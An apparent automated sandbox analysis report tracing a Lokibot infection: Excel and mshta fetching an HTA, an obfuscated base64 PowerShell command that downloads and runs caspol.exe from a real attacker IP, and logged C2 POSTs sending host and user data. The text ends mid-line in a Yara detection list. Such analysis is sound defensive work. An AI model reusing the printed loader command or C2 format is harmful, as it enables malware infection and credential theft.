Nov 20, 2024 07:58:05.170720100 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:58:05.888010025 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:58:05 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.22	49239	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:58:06.037022114 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:58:06.042036057 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:58:06.878705025 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:58:06 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.22	49240	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:58:07.027129889 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:58:07.032370090 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:58:07.903635025 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:58:07 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.22	49241	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:58:08.073318958 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:58:08.079653025 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:58:08.914391994 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:58:08 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.22	49242	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:58:09.070729971 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:58:09.075720072 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:58:09.790751934 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:58:09 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.22	49243	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:58:09.948055029 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:58:09.961206913 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:58:10.690216064 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:58:10 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.22	49244	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:58:10.836560011 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:58:10.842150927 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:58:11.686970949 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:58:11 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.22	49245	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:58:11.843614101 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:58:11.848536968 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:58:12.561392069 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:58:12 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.22	49246	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:58:12.733412027 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:58:12.738338947 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:58:13.441821098 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:58:13 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.22	49247	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:58:13.590063095 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:58:13.595288038 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:58:14.312865973 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:58:14 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.22	49248	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:58:14.443617105 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:58:14.448889017 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:58:15.160309076 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:58:15 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49163	198.244.140.41	443	3192	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:56:32 UTC	386	OUT	GET /CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestion HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: provit.uk Connection: Keep-Alive
2024-11-20 06:56:32 UTC	468	IN	HTTP/1.1 302 Found Content-Length: 120 Content-Type: text/plain; charset=utf-8 Date: Wed, 20 Nov 2024 06:56:32 GMT Location: http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Xss-Protection: 0 Connection: close
2024-11-20 06:56:32 UTC	120	IN	Data Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 39 32 2e 33 2e 32 34 33 2e 31 33 36 2f 78 61 6d 70 70 2f 73 77 6d 2f 73 77 2f 67 72 65 65 74 69 6e 67 77 69 74 68 67 72 65 61 74 74 68 69 67 6e 73 67 69 76 65 6e 62 61 63 6b 77 69 74 68 65 6e 74 69 72 65 70 72 6f 63 65 73 73 67 69 76 65 6e 6d 65 62 61 63 6b 2e 68 74 61 Data Ascii: Found. Redirecting to http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49165	198.244.140.41	443	3492	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:56:35 UTC	410	OUT	GET /CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestion HTTP/1.1 Accept: / Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: provit.uk Connection: Keep-Alive
2024-11-20 06:56:35 UTC	468	IN	HTTP/1.1 302 Found Content-Length: 120 Content-Type: text/plain; charset=utf-8 Date: Wed, 20 Nov 2024 06:56:35 GMT Location: http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Xss-Protection: 0 Connection: close
2024-11-20 06:56:35 UTC	120	IN	Data Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 39 32 2e 33 2e 32 34 33 2e 31 33 36 2f 78 61 6d 70 70 2f 73 77 6d 2f 73 77 2f 67 72 65 65 74 69 6e 67 77 69 74 68 67 72 65 61 74 74 68 69 67 6e 73 67 69 76 65 6e 62 61 63 6b 77 69 74 68 65 6e 74 69 72 65 70 72 6f 63 65 73 73 67 69 76 65 6e 6d 65 62 61 63 6b 2e 68 74 61 Data Ascii: Found. Redirecting to http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49175	198.244.140.41	443	3192	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:57:05 UTC	386	OUT	GET /CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestion HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: provit.uk Connection: Keep-Alive
2024-11-20 06:57:05 UTC	468	IN	HTTP/1.1 302 Found Content-Length: 120 Content-Type: text/plain; charset=utf-8 Date: Wed, 20 Nov 2024 06:57:05 GMT Location: http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Xss-Protection: 0 Connection: close
2024-11-20 06:57:05 UTC	120	IN	Data Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 39 32 2e 33 2e 32 34 33 2e 31 33 36 2f 78 61 6d 70 70 2f 73 77 6d 2f 73 77 2f 67 72 65 65 74 69 6e 67 77 69 74 68 67 72 65 61 74 74 68 69 67 6e 73 67 69 76 65 6e 62 61 63 6b 77 69 74 68 65 6e 74 69 72 65 70 72 6f 63 65 73 73 67 69 76 65 6e 6d 65 62 61 63 6b 2e 68 74 61 Data Ascii: Found. Redirecting to http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49179	198.244.140.41	443	3424	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:57:10 UTC	410	OUT	GET /CxdOH5?&radar=sneaky&psychology=outstanding&sherry=spotless&suggestion HTTP/1.1 Accept: / Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: provit.uk Connection: Keep-Alive
2024-11-20 06:57:10 UTC	468	IN	HTTP/1.1 302 Found Content-Length: 120 Content-Type: text/plain; charset=utf-8 Date: Wed, 20 Nov 2024 06:57:10 GMT Location: http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Xss-Protection: 0 Connection: close
2024-11-20 06:57:10 UTC	120	IN	Data Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 39 32 2e 33 2e 32 34 33 2e 31 33 36 2f 78 61 6d 70 70 2f 73 77 6d 2f 73 77 2f 67 72 65 65 74 69 6e 67 77 69 74 68 67 72 65 61 74 74 68 69 67 6e 73 67 69 76 65 6e 62 61 63 6b 77 69 74 68 65 6e 74 69 72 65 70 72 6f 63 65 73 73 67 69 76 65 6e 6d 65 62 61 63 6b 2e 68 74 61 Data Ascii: Found. Redirecting to http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta

Target ID:	0
Start time:	01:56:08
Start date:	20/11/2024
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13f4a0000
File size:	28'253'536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	01:56:32
Start date:	20/11/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\mshta.exe -Embedding
Imagebase:	0x13f8b0000
File size:	13'824 bytes
MD5 hash:	95828D670CFD3B16EE188168E083C3C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:56:36
Start date:	20/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\sYStem32\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe" "PoWeRSheLL.ExE -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment ; iEx($(iEX('[SysteM.TExT.encODInG]'+[cHAR]58+[cHAR]58+'UTF8.GEtSTrINg([sysTem.cOnVERT]'+[cHAR]58+[chAr]58+'FrOMbASe64StrIng('+[chAR]34+'JG56dWNGVUF3ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUkRFRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWlBudFZzUmhBaCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNeWpwcUlrUXdEYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1alFRcFNYb0lXeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhWXlwdmx5a3BlKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZFhHTSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNwYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV1BmVyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbnp1Y0ZVQXc6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzU1L2Nhc3BvbC5leGUiLCIkZU52OkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtzVGFyVC1TbGVlUCgzKTtpZXggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXGNhc3BvbC5leGUi'+[cHaR]0X22+'))')))"
Imagebase:	0x13f6f0000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:56:38
Start date:	20/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment
Imagebase:	0x13f6f0000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:56:42
Start date:	20/11/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\i4ik0bio\i4ik0bio.cmdline"
Imagebase:	0x13f590000
File size:	2'758'280 bytes
MD5 hash:	23EE3D381CFE3B9F6229483E2CE2F9E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	01:56:43
Start date:	20/11/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES37A5.tmp" "c:\Users\user\AppData\Local\Temp\i4ik0bio\CSCA15BDDDB4364D65A645793B6780D1C5.TMP"
Imagebase:	0x13fc70000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	01:56:48
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Roaming\caspol.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\caspol.exe"
Imagebase:	0xec0000
File size:	600'576 bytes
MD5 hash:	74061922F1E78C237A66D12A15A18181
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 0000000B.00000002.470705091.0000000002410000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 0000000B.00000002.470705091.0000000002410000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.470705091.0000000002410000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Lokibot_1f885282, Description: unknown, Source: 0000000B.00000002.470705091.0000000002410000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Lokibot_0f421617, Description: unknown, Source: 0000000B.00000002.470705091.0000000002410000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Lokibot, Description: detect Lokibot in memory, Source: 0000000B.00000002.470705091.0000000002410000.00000004.00000800.00020000.00000000.sdmp, Author: 